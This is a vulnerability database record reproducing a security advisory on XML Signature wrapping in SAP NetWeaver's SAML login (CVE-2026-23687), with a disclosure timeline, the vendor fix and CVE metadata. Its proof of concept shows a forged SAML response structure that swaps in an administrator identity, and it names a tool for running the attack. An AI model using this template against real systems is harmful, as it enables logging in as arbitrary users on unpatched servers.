GCVE-1988-2026-0349
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 11:29
VLAI
EPSS
VEX
Title
[SYSS-2026-004] SAP NetWeaver SAML XML Signature Wrapping
Summary
Advisory ID: SYSS-2026-004
Product: SAP NetWeaver ABAP / SAP_BASIS
Manufacturer: SAP SE
Affected Version(s): SAP_BASIS 700 - 918
Tested Version(s): 7.93 Patch 300
Vulnerability Type: CWE-347: Improper Verification of Cryptographic Signature
Risk Level: High
Solution Status: Fixed
Manufacturer Notification: 2025-11-06
Solution Date: 2026-02-10
Public Disclosure: 2026-06-08
CVE Reference: CVE-2026-23687
Author of Advisory: Moritz Bechler, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
SAP NetWeaver is the software stack powering SAP's business applications,
including S4/HANA.
The manufacturer describes the product as follows (see [1]):
"SAP NetWeaver provides an open integration and application platform and
facilitates the implementation of the Enterprise Services Architecture.
You can standardize business processes across technological boundaries,
integrate applications for your employees as required, and access and edit
simple information easily and in a structured manner.
[...]
SAP NetWeaver is the basis for SAP solutions."
SAML response validation in NetWeaver's SAML Service Provider is susceptible
to XML Signature wrapping attacks, specifically through Signature/Object tags.
This allows an attacker to manipulate SAML assertion data returned by the
identity provider, therefore enabling logging in as an arbitrary user.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
In SAML authentication responses, the SAML assertion/user identity attributes
are cryptographically signed by the identity provider using the XML Signature
(XMLDSig) standard. In web single sign-on contexts, the SAML response is
passed through the authenticating user's browser and therefore very susceptible
to modification.
When verifying a specially crafted SAML response, the SAMP service provider
implementation verifies the signature over one part of the XML document while
using information from another element to identify the authenticated user.
Providing original, legitimate information from any valid SAML response in
the first part and the corresponding signature, along with a manipulated
alternative part, authentication to the SAP system as an arbitrary
SAML-enabled / mapped user is possible.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
A typical (non-encrypted, assertion signing) SAML response will have a structure
like the following (various irrelevant elements are removed for brevity):
<samlp:Response>
<Assertion ID="MyID">
<Signature>
<SignedInfo>
<Reference URI="#MyID">
<DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"; />
<DigestValue>[...]</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>[...]</SignatureValue>
<KeyInfo>
<X509Data><X509Certificate>[...]</X509Certificate></X509Data>
</KeyInfo>
</Signature>
<Subject><...></Subject>
<AttributeStatement>
<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name";>
<AttributeValue>originaluser@mydomain.example</AttributeValue>
</Attribute>
<...>
</AttributeStatement>
</Assertion>
</samlp:Response>
The XML Signature specification is very flexible (read: complex), leaving
significant room for ambiguities and implementation errors. Apart from
referencing the data to be signed/verified through the <Reference> element,
the signed data can also be directly included in the <Signature> element
through an <Object> tag (see [4]).
Doing so is fully specified and conformant with the XML schema.
Transforming the SAML response to use the <Object> syntax yields the following:
<samlp:Response>
<Assertion ID="MyID">
<Signature>
<SignedInfo>
<Reference URI="#MyID">
<DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"; />
<DigestValue>[...]</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>[...]</SignatureValue>
<KeyInfo>
<X509Data><X509Certificate>[...]</X509Certificate></X509Data>
</KeyInfo>
<Object>
<Assertion ID="MyID">
<Subject><...></Subject>
<AttributeStatement>
<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name";>
<AttributeValue>originaluser@mydomain.example</AttributeValue>
</Attribute>
<...>
</AttributeStatement>
</Assertion>
</Object>
</Signature>
<Subject><...></Subject>
<AttributeStatement>
<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name";>
<AttributeValue>myadmin@mydomain.example</AttributeValue>
</Attribute>
<...>
</AttributeStatement>
</Assertion>
</samlp:Response>
This is a well-known and published attack vector against XML signatures.
A graphical representation of this transformation is given in [5], also
the Burp SAML Raider extension provides a convenient way to execute the
attack (XSW8).
As the signed elements have not changed, the XML Signature element is still
valid and can be verified. The XML Signature implementation used in NetWeaver
now calculates the hash value for verification of the signature over the
<Object> element's contents.
Now, the original copy of the data within the outer <Assertion> element
can be modified without invalidating the signature, and this is the
information extracted and used by NetWeaver to determine the identity of
the authenticated SAP user.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
Apply vendor patch: SAP note 3697567.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2025-10-23: Vulnerability discovered
2025-11-06: Vulnerability reported to vendor
2025-11-10: Vendor unable to reproduce the vulnerability, requesting
additional diagnostics
2025-12-10: Reproduction with assistance of a generous customer
2025-12-12: Diagnostics provided to vendor
2025-12-18: Vendor responded to diagnostics with: "system reaction is as
expected, no security issue"
2025-12-18: Disputed this assessment
2026-01-08: Requested status from vendor
2026-01-08: Vendor confirmed vulnerability
2026-02-10: Vendor released patch
2026-06-08: Public disclosure of vulnerability (delayed on vendor's request)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] SAP NetWeaver documentation
https://help.sap.com/doc/saphelp_em900/9.0/en-US/ca/6fbd35746dbd2de10000009b38f889/frameset.htm
[2] SySS Security Advisory SYSS-2026-004
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2026-004.txt
[3] SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy
[4] XML Signature Syntax and Processing Version 1.1
https://www.w3.org/TR/xmldsig-core1/#sec-Object
[5] Burp SAML Raider extension documentation, tree representation of signature
wrapping techniques
https://github.com/CompassSecurity/SAMLRaider/blob/master/src/main/resources/xswlist.png
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Moritz Bechler of SySS GmbH.
E-Mail: moritz.bechler () syss de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Moritz_Bechler.asc
Key ID: 0x768EFE2BB3E53DDA
Key Fingerprint: 2C8F F101 9D77 BDE6 465E CCC2 768E FE2B B3E5 3DDA
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 4.0
URL: https://creativecommons.org/licenses/by/4.0/deed.en
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
13 references
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| Sap | NetWeaver ABAP / SAP_BASIS |
Affected:
unknown
|
guessed |
Relationships
analysis
GCVE-1988-2026-0349 (this record)
- related CVE-2026-23687
{
"containers": {
"cna": {
"affected": [
{
"product": "NetWeaver ABAP / SAP_BASIS",
"vendor": "Sap",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Moritz Bechler via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Advisory ID: SYSS-2026-004\nProduct: SAP NetWeaver ABAP / SAP_BASIS\nManufacturer: SAP SE\nAffected Version(s): SAP_BASIS 700 - 918\nTested Version(s): 7.93 Patch 300\nVulnerability Type: CWE-347: Improper Verification of Cryptographic Signature\nRisk Level: High\nSolution Status: Fixed\nManufacturer Notification: 2025-11-06\nSolution Date: 2026-02-10\nPublic Disclosure: 2026-06-08\nCVE Reference: CVE-2026-23687\nAuthor of Advisory: Moritz Bechler, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nSAP NetWeaver is the software stack powering SAP\u0027s business applications,\nincluding S4/HANA.\n\nThe manufacturer describes the product as follows (see [1]):\n\n\"SAP NetWeaver provides an open integration and application platform and\nfacilitates the implementation of the Enterprise Services Architecture.\nYou can standardize business processes across technological boundaries,\nintegrate applications for your employees as required, and access and edit\nsimple information easily and in a structured manner.\n[...]\nSAP NetWeaver is the basis for SAP solutions.\"\n\nSAML response validation in NetWeaver\u0027s SAML Service Provider is susceptible\nto XML Signature wrapping attacks, specifically through Signature/Object tags.\nThis allows an attacker to manipulate SAML assertion data returned by the\nidentity provider, therefore enabling logging in as an arbitrary user.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nIn SAML authentication responses, the SAML assertion/user identity attributes\nare cryptographically signed by the identity provider using the XML Signature\n(XMLDSig) standard. In web single sign-on contexts, the SAML response is\npassed through the authenticating user\u0027s browser and therefore very susceptible\nto modification.\n\nWhen verifying a specially crafted SAML response, the SAMP service provider\nimplementation verifies the signature over one part of the XML document while\nusing information from another element to identify the authenticated user.\n\nProviding original, legitimate information from any valid SAML response in\nthe first part and the corresponding signature, along with a manipulated\nalternative part, authentication to the SAP system as an arbitrary\nSAML-enabled / mapped user is possible.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nA typical (non-encrypted, assertion signing) SAML response will have a structure\nlike the following (various irrelevant elements are removed for brevity):\n\n\u003csamlp:Response\u003e\n\u003cAssertion ID=\"MyID\"\u003e\n \u003cSignature\u003e\n \u003cSignedInfo\u003e\n \u003cReference URI=\"#MyID\"\u003e\n \u003cDigestMethod Algorithm=\"http://www.w3.org/2001/04/xmlenc#sha256\"; /\u003e\n \u003cDigestValue\u003e[...]\u003c/DigestValue\u003e\n \u003c/Reference\u003e\n \u003c/SignedInfo\u003e\n \u003cSignatureValue\u003e[...]\u003c/SignatureValue\u003e\n \u003cKeyInfo\u003e\n \u003cX509Data\u003e\u003cX509Certificate\u003e[...]\u003c/X509Certificate\u003e\u003c/X509Data\u003e\n \u003c/KeyInfo\u003e\n \u003c/Signature\u003e\n \u003cSubject\u003e\u003c...\u003e\u003c/Subject\u003e\n \u003cAttributeStatement\u003e\n \u003cAttribute Name=\"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name\";\u003e\n \u003cAttributeValue\u003eoriginaluser@mydomain.example\u003c/AttributeValue\u003e\n \u003c/Attribute\u003e\n \u003c...\u003e\n \u003c/AttributeStatement\u003e\n\u003c/Assertion\u003e\n\u003c/samlp:Response\u003e\n\nThe XML Signature specification is very flexible (read: complex), leaving\nsignificant room for ambiguities and implementation errors. Apart from\nreferencing the data to be signed/verified through the \u003cReference\u003e element,\nthe signed data can also be directly included in the \u003cSignature\u003e element\nthrough an \u003cObject\u003e tag (see [4]).\nDoing so is fully specified and conformant with the XML schema.\n\nTransforming the SAML response to use the \u003cObject\u003e syntax yields the following:\n\n\u003csamlp:Response\u003e\n\u003cAssertion ID=\"MyID\"\u003e\n \u003cSignature\u003e\n \u003cSignedInfo\u003e\n \u003cReference URI=\"#MyID\"\u003e\n \u003cDigestMethod Algorithm=\"http://www.w3.org/2001/04/xmlenc#sha256\"; /\u003e\n \u003cDigestValue\u003e[...]\u003c/DigestValue\u003e\n \u003c/Reference\u003e\n \u003c/SignedInfo\u003e\n \u003cSignatureValue\u003e[...]\u003c/SignatureValue\u003e\n \u003cKeyInfo\u003e\n \u003cX509Data\u003e\u003cX509Certificate\u003e[...]\u003c/X509Certificate\u003e\u003c/X509Data\u003e\n \u003c/KeyInfo\u003e\n \u003cObject\u003e\n \u003cAssertion ID=\"MyID\"\u003e\n \u003cSubject\u003e\u003c...\u003e\u003c/Subject\u003e\n \u003cAttributeStatement\u003e\n \u003cAttribute Name=\"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name\";\u003e\n \u003cAttributeValue\u003eoriginaluser@mydomain.example\u003c/AttributeValue\u003e\n \u003c/Attribute\u003e\n \u003c...\u003e\n \u003c/AttributeStatement\u003e\n \u003c/Assertion\u003e\n \u003c/Object\u003e\n \u003c/Signature\u003e\n \u003cSubject\u003e\u003c...\u003e\u003c/Subject\u003e\n \u003cAttributeStatement\u003e\n \u003cAttribute Name=\"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name\";\u003e\n \u003cAttributeValue\u003emyadmin@mydomain.example\u003c/AttributeValue\u003e\n \u003c/Attribute\u003e\n \u003c...\u003e\n \u003c/AttributeStatement\u003e\n\u003c/Assertion\u003e\n\u003c/samlp:Response\u003e\n\nThis is a well-known and published attack vector against XML signatures.\nA graphical representation of this transformation is given in [5], also\nthe Burp SAML Raider extension provides a convenient way to execute the\nattack (XSW8).\n\nAs the signed elements have not changed, the XML Signature element is still\nvalid and can be verified. The XML Signature implementation used in NetWeaver\nnow calculates the hash value for verification of the signature over the\n\u003cObject\u003e element\u0027s contents.\n\nNow, the original copy of the data within the outer \u003cAssertion\u003e element\ncan be modified without invalidating the signature, and this is the\ninformation extracted and used by NetWeaver to determine the identity of\nthe authenticated SAP user.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nApply vendor patch: SAP note 3697567.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2025-10-23: Vulnerability discovered\n2025-11-06: Vulnerability reported to vendor\n2025-11-10: Vendor unable to reproduce the vulnerability, requesting\n additional diagnostics\n2025-12-10: Reproduction with assistance of a generous customer\n2025-12-12: Diagnostics provided to vendor\n2025-12-18: Vendor responded to diagnostics with: \"system reaction is as\n expected, no security issue\"\n2025-12-18: Disputed this assessment\n2026-01-08: Requested status from vendor\n2026-01-08: Vendor confirmed vulnerability\n2026-02-10: Vendor released patch\n2026-06-08: Public disclosure of vulnerability (delayed on vendor\u0027s request)\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] SAP NetWeaver documentation\n https://help.sap.com/doc/saphelp_em900/9.0/en-US/ca/6fbd35746dbd2de10000009b38f889/frameset.htm\n[2] SySS Security Advisory SYSS-2026-004\n https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2026-004.txt\n[3] SySS Responsible Disclosure Policy\n https://www.syss.de/en/responsible-disclosure-policy\n[4] XML Signature Syntax and Processing Version 1.1\n https://www.w3.org/TR/xmldsig-core1/#sec-Object\n[5] Burp SAML Raider extension documentation, tree representation of signature\n wrapping techniques\n https://github.com/CompassSecurity/SAMLRaider/blob/master/src/main/resources/xswlist.png\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Moritz Bechler of SySS GmbH.\n\nE-Mail: moritz.bechler () syss de\nPublic Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Moritz_Bechler.asc\nKey ID: 0x768EFE2BB3E53DDA\nKey Fingerprint: 2C8F F101 9D77 BDE6 465E CCC2 768E FE2B B3E5 3DDA\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS website.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-347",
"description": "CWE-347",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T11:29:53Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/1"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jun/1"
},
{
"url": "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name\""
},
{
"url": "http://www.w3.org/2001/04/xmlenc#sha256\""
},
{
"url": "https://creativecommons.org/licenses/by/4.0/deed.en"
},
{
"url": "https://github.com/CompassSecurity/SAMLRaider/blob/master/src/main/resources/xswlist.png"
},
{
"url": "https://help.sap.com/doc/saphelp_em900/9.0/en-US/ca/6fbd35746dbd2de10000009b38f889/frameset.htm"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.syss.de/en/responsible-disclosure-policy"
},
{
"url": "https://www.syss.de/fileadmin/dokumente/PGPKeys/Moritz_Bechler.asc"
},
{
"url": "https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2026-004.txt"
},
{
"url": "https://www.w3.org/TR/xmldsig-core1/#sec-Object"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jun/1"
],
"discovery": "EXTERNAL"
},
"title": "[SYSS-2026-004] SAP NetWeaver SAML XML Signature Wrapping",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2026-23687",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0349",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/1",
"automated": true,
"contentSha256": "33de3a1df73ad7824fff3086de79442bc32d33c5171db97ebc23d02afe7353b4",
"evidenceScore": 10,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jun/1",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-06-08T08:16:17Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0349"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-11T07:55:57Z",
"dateUpdated": "2026-09-11T11:29:53Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0349"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…